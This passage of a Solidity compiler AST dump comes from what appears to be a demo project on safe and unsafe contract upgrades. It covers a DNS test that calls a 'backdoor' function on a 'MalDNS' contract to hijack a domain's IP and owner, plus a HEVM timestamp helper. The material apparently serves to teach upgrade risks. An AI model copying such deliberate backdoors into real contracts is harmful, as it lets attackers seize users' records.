external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":1292,\"name\":\"Identifier\",\"src\":\"6500:7:2\"}],\"id\":1294,\"name\":\"MemberAccess\",\"src\":\"6500:18:2\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"+\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"timestamp\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-4,\"type\":\"block\",\"value\":\"block\"},\"id\":1295,\"name\":\"Identifier\",\"src\":\"6519:5:2\"}],\"id\":1296,\"name\":\"MemberAccess\",\"src\":\"6519:15:2\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":1297,\"name\":\"Literal\",\"src\":\"6537:1:2\"}],\"id\":1298,\"name\":\"BinaryOperation\",\"src\":\"6519:19:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_MalDNS_$1723\",\"typeString\":\"contract MalDNS\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":1299,\"name\":\"Identifier\",\"src\":\"6540:4:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":455,\"type\":\"contract MalDNS\",\"value\":\"mal_dns\"},\"id\":1300,\"name\":\"Identifier\",\"src\":\"6545:7:2\"}],\"id\":1301,\"name\":\"FunctionCall\",\"src\":\"6540:13:2\"}],\"id\":1302,\"name\":\"FunctionCall\",\"src\":\"6500:54:2\"}],\"id\":1303,\"name\":\"ExpressionStatement\",\"src\":\"6500:54:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":1304,\"name\":\"Identifier\",\"src\":\"6558:10:2\"},{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"upgradePlanned\",\"referencedDeclaration\":2049,\"type\":\"function () view external returns (bool)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":1305,\"name\":\"Identifier\",\"src\":\"6569:7:2\"}],\"id\":1306,\"name\":\"MemberAccess\",\"src\":\"6569:22:2\"}],\"id\":1307,\"name\":\"FunctionCall\",\"src\":\"6569:24:2\"}],\"id\":1308,\"name\":\"FunctionCall\",\"src\":\"6558:36:2\"}],\"id\":1309,\"name\":\"ExpressionStatement\",\"src\":\"6558:36:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_100_by_1\",\"typeString\":\"int_const 100\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"warp\",\"referencedDeclaration\":1392,\"type\":\"function (uint256) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":447,\"type\":\"contract HEVMCheat\",\"value\":\"hevm\"},\"id\":1310,\"name\":\"Identifier\",\"src\":\"6624:4:2\"}],\"id\":1312,\"name\":\"MemberAccess\",\"src\":\"6624:9:2\"},{\"attributes\":{\"hexvalue\":\"313030\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 100\",\"value\":\"100\"},\"id\":1313,\"name\":\"Literal\",\"src\":\"6634:3:2\"}],\"id\":1314,\"name\":\"FunctionCall\",\"src\":\"6624:14:2\"}],\"id\":1315,\"name\":\"ExpressionStatement\",\"src\":\"6624:14:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":1316,\"name\":\"Identifier\",\"src\":\"6642:10:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!\",\"prefix\":true,\"type\":\"bool\"},\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"upgradePlanned\",\"referencedDeclaration\":2049,\"type\":\"function () view external returns (bool)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":1317,\"name\":\"Identifier\",\"src\":\"6654:7:2\"}],\"id\":1318,\"name\":\"MemberAccess\",\"src\":\"6654:22:2\"}],\"id\":1319,\"name\":\"FunctionCall\",\"src\":\"6654:24:2\"}],\"id\":1320,\"name\":\"UnaryOperation\",\"src\":\"6653:25:2\"}],\"id\":1321,\"name\":\"FunctionCall\",\"src\":\"6642:37:2\"}],\"id\":1322,\"name\":\"ExpressionStatement\",\"src\":\"6642:37:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_rational_322376503_by_1\",\"typeString\":\"int_const 322376503\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"backdoor\",\"referencedDeclaration\":1547,\"type\":\"function (string memory,bytes4,address) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":455,\"type\":\"contract MalDNS\",\"value\":\"mal_dns\"},\"id\":1323,\"name\":\"Identifier\",\"src\":\"6684:7:2\"}],\"id\":1325,\"name\":\"MemberAccess\",\"src\":\"6684:16:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1147,\"type\":\"string memory\",\"value\":\"d0\"},\"id\":1326,\"name\":\"Identifier\",\"src\":\"6701:2:2\"},{\"attributes\":{\"hexvalue\":\"30783133333731333337\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 322376503\",\"value\":\"0x13371337\"},\"id\":1327,\"name\":\"Literal\",\"src\":\"6705:10:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_DNSTest_$1362\",\"typeString\":\"contract DNSTest\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1328,\"name\":\"ElementaryTypeName\",\"src\":\"6717:7:2\"}],\"id\":1329,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"6717:7:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-28,\"type\":\"contract DNSTest\",\"value\":\"this\"},\"id\":1330,\"name\":\"Identifier\",\"src\":\"6725:4:2\"}],\"id\":1331,\"name\":\"FunctionCall\",\"src\":\"6717:13:2\"}],\"id\":1332,\"name\":\"FunctionCall\",\"src\":\"6684:47:2\"}],\"id\":1333,\"name\":\"ExpressionStatement\",\"src\":\"6684:47:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1163,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1334,\"name\":\"Identifier\",\"src\":\"6736:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1166,\"type\":\"address\",\"value\":\"owner\"},\"id\":1335,\"name\":\"Identifier\",\"src\":\"6740:5:2\"}],\"id\":1336,\"name\":\"TupleExpression\",\"src\":\"6735:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":418,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1337,\"name\":\"Identifier\",\"src\":\"6749:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1338,\"name\":\"Literal\",\"src\":\"6755:1:2\"}],\"id\":1339,\"name\":\"IndexAccess\",\"src\":\"6749:8:2\"}],\"id\":1340,\"name\":\"MemberAccess\",\"src\":\"6749:16:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1147,\"type\":\"string memory\",\"value\":\"d0\"},\"id\":1341,\"name\":\"Identifier\",\"src\":\"6766:2:2\"}],\"id\":1342,\"name\":\"FunctionCall\",\"src\":\"6749:20:2\"}],\"id\":1343,\"name\":\"Assignment\",\"src\":\"6735:34:2\"}],\"id\":1344,\"name\":\"ExpressionStatement\",\"src\":\"6735:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":1345,\"name\":\"Identifier\",\"src\":\"6773:10:2\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1163,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1346,\"name\":\"Identifier\",\"src\":\"6784:2:2\"},{\"attributes\":{\"hexvalue\":\"30783133333731333337\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 322376503\",\"value\":\"0x13371337\"},\"id\":1347,\"name\":\"Literal\",\"src\":\"6790:10:2\"}],\"id\":1348,\"name\":\"BinaryOperation\",\"src\":\"6784:16:2\"}],\"id\":1349,\"name\":\"FunctionCall\",\"src\":\"6773:28:2\"}],\"id\":1350,\"name\":\"ExpressionStatement\",\"src\":\"6773:28:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":1351,\"name\":\"Identifier\",\"src\":\"6805:10:2\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1166,\"type\":\"address\",\"value\":\"owner\"},\"id\":1352,\"name\":\"Identifier\",\"src\":\"6816:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_DNSTest_$1362\",\"typeString\":\"contract DNSTest\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1353,\"name\":\"ElementaryTypeName\",\"src\":\"6825:7:2\"}],\"id\":1354,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"6825:7:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-28,\"type\":\"contract DNSTest\",\"value\":\"this\"},\"id\":1355,\"name\":\"Identifier\",\"src\":\"6833:4:2\"}],\"id\":1356,\"name\":\"FunctionCall\",\"src\":\"6825:13:2\"}],\"id\":1357,\"name\":\"BinaryOperation\",\"src\":\"6816:22:2\"}],\"id\":1358,\"name\":\"FunctionCall\",\"src\":\"6805:34:2\"}],\"id\":1359,\"name\":\"ExpressionStatement\",\"src\":\"6805:34:2\"}],\"id\":1360,\"name\":\"Block\",\"src\":\"5618:1237:2\"}],\"id\":1361,\"name\":\"FunctionDefinition\",\"src\":\"5581:1274:2\"}],\"id\":1362,\"name\":\"ContractDefinition\",\"src\":\"1079:5778:2\"}],\"id\":1363,\"name\":\"SourceUnit\",\"src\":\"36:6822:2\"}},\"src/HEVMCheat.sol\":{\"AST\":{\"attributes\":{\"absolutePath\":\"src/HEVMCheat.sol\",\"exportedSymbols\":{\"HEVMCheat\":[1417]},\"license\":\"GPL-v3\"},\"children\":[{\"attributes\":{\"literals\":[\"solidity\",\"^\",\"0.7\",\".0\"]},\"id\":1364,\"name\":\"PragmaDirective\",\"src\":\"36:23:3\"},{\"attributes\":{\"abstract\":false,\"baseContracts\":[null],\"contractDependencies\":[null],\"contractKind\":\"contract\",\"fullyImplemented\":true,\"linearizedBaseContracts\":[1417],\"name\":\"HEVMCheat\",\"scope\":1418},\"children\":[{\"attributes\":{\"text\":\"HEVM has a special contract able to change the block timestamp.\\n This is used in the tests, to show safe and unsafe upgrades.\"},\"id\":1365,\"name\":\"StructuredDocumentation\",\"src\":\"61:133:3\"},{\"attributes\":{\"constant\":true,\"mutability\":\"constant\",\"name\":\"hevmCheat\",\"scope\":1417,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1366,\"name\":\"ElementaryTypeName\",\"src\":\"216:7:3\"},{\"attributes\":{\"hexvalue\":\"307837313039373039454366613931613830363236664633393839443638663637463562314444313244\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"address payable\",\"value\":\"0x7109709ECfa91a80626fF3989D68f67F5b1DD12D\"},\"id\":1367,\"name\":\"Literal\",\"src\":\"245:42:3\"}],\"id\":1368,\"name\":\"VariableDeclaration\",\"src\":\"216:71:3\"},{\"attributes\":{\"functionSelector\":\"e5d6bf02\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"warp\",\"scope\":1417,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"public\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"x\",\"scope\":1392,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":1369,\"name\":\"ElementaryTypeName\",\"src\":\"305:4:3\"}],\"id\":1370,\"name\":\"VariableDeclaration\",\"src\":\"305:6:3\"}],\"id\":1371,\"name\":\"ParameterList\",\"src\":\"304:8:3\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1372,\"name\":\"ParameterList\",\"src\":\"320:0:3\"},{\"children\":[{\"attributes\":{\"assignments\":[1374,null]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"success\",\"scope\":1391,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":1373,\"name\":\"ElementaryTypeName\",\"src\":\"325:4:3\"}],\"id\":1374,\"name\":\"VariableDeclaration\",\"src\":\"325:12:3\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bool,bytes memory)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes_memory_ptr\",\"typeString\":\"bytes memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"call\",\"type\":\"function (bytes memory) payable returns (bool,bytes memory)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1375,\"name\":\"ElementaryTypeName\",\"src\":\"342:7:3\"}],\"id\":1376,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"342:7:3\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1368,\"type\":\"address\",\"value\":\"hevmCheat\"},\"id\":1377,\"name\":\"Identifier\",\"src\":\"350:9:3\"}],\"id\":1378,\"name\":\"FunctionCall\",\"src\":\"342:18:3\"}],\"id\":1379,\"name\":\"MemberAccess\",\"src\":\"342:23:3\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bytes memory\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_e5d6bf02a4a6f7a08644db167878218135b1884ef29ffb18b04c2ccc5cbc82f3\",\"typeString\":\"literal_string \\\"warp(uint256)\\\"\"},{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"member_name\":\"encodeWithSignature\",\"type\":\"function (string memory) pure returns (bytes memory)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-1,\"type\":\"abi\",\"value\":\"abi\"},\"id\":1380,\"name\":\"Identifier\",\"src\":\"366:3:3\"}],\"id\":1381,\"name\":\"MemberAccess\",\"src\":\"366:23:3\"},{\"attributes\":{\"hexvalue\":\"776172702875696e7432353629\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"warp(uint256)\\\"\",\"value\":\"warp(uint256)\"},\"id\":1382,\"name\":\"Literal\",\"src\":\"390:15:3\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1370,\"type\":\"uint256\",\"value\":\"x\"},\"id\":1383,\"name\":\"Identifier\",\"src\":\"407:1:3\"}],\"id\":1384,\"name\":\"FunctionCall\",\"src\":\"366:43:3\"}],\"id\":1385,\"name\":\"FunctionCall\",\"src\":\"342:68:3\"}],\"id\":1386,\"name\":\"VariableDeclarationStatement\",\"src\":\"324:86:3\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool) pure\",\"value\":\"require\"},\"id\":1387,\"name\":\"Identifier\",\"src\":\"414:7:3\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1374,\"type\":\"bool\",\"value\":\"success\"},\"id\":1388,\"name\":\"Identifier\",\"src\":\"422:7:3\"}],\"id\":1389,\"name\":\"FunctionCall\",\"src\":\"414:16:3\"}],\"id\":1390,\"name\":\"ExpressionStatement\",\"src\":\"414:16:3\"}],\"id\":1391,\"name\":\"Block\",\"src\":\"320:114:3\"}],\"id\":1392,\"name\":\"FunctionDefinition\",\"src\":\"291:143:3\"},{\"attributes\":{\"functionSelector\":\"1f7b4f30\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"roll\",\"scope\":1417,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"public\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"x\",\"scope\":1416,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":1393,\"name\":\"ElementaryTypeName\",\"src\":\"451:4:3\"}],\"id\":1394,\"name\":\"VariableDeclaration\",\"src\":\"451:6:3\"}],\"id\":1395,\"name\":\"ParameterList\",\"src\":\"450:8:3\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1396,\"name\":\"ParameterList\",\"src\":\"466:0:3\"},{\"children\":[{\"attributes\":{\"assignments\":[1398,null]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"success\",\"scope\":1415,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":1397,\"name\":\"ElementaryTypeName\",\"src\":\"471:4:3\"}],\"id\":1398,\"name\":\"VariableDeclaration\",\"src\":\"471:12:3\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bool,bytes memory)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes_memory_ptr\",\"typeString\":\"bytes memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"call\",\"type\":\"function (bytes memory) payable returns (bool,bytes memory)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1399,\"name\":\"ElementaryTypeName\",\"src\":\"488:7:3\"}],\"id\":1400,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"488:7:3\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1368,\"type\":\"address\",\"value\":\"hevmCheat\"},\"id\":1401,\"name\":\"Identifier\",\"src\":\"496:9:3\"}],\"id\":1402,\"name\":\"FunctionCall\",\"src\":\"488:18:3\"}],\"id\":1403,\"name\":\"MemberAccess\",\"src\":\"488:23:3\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bytes memory\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_1f7b4f30c3ae826cfb96d5277648418a175aebb15abc0706d40403a2812488ab\",\"typeString\":\"literal_string \\\"roll(uint256)\\\"\"},{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"member_name\":\"encodeWithSignature\",\"type\":\"function (string memory) pure returns (bytes memory)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-1,\"type\":\"abi\",\"value\":\"abi\"},\"id\":1404,\"name\":\"Identifier\",\"src\":\"512:3:3\"}],\"id\":1405,\"name\":\"MemberAccess\",\"src\":\"512:23:3\"},{\"attributes\":{\"hexvalue\":\"726f6c6c2875696e7432353629\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"roll(uint256)\\\"\",\"value\":\"roll(uint256)\"},\"id\":1406,\"name\":\"Literal\",\"src\":\"536:15:3\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1394,\"type\":\"uint256\",\"value\":\"x\"},\"id\":1407,\"name\":\"Identifier\",\"src\":\"553:1:3\"}],\"id\":1408,\"name\":\"FunctionCall\",\"src\":\"512:43:3\"}],\"id\":1409,\"name\":\"FunctionCall\",\"src\":\"488:68:3\"}],\"id\":1410,\"name\":\"VariableDeclarationStatement\",\"src\":\"470:86:3\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool) 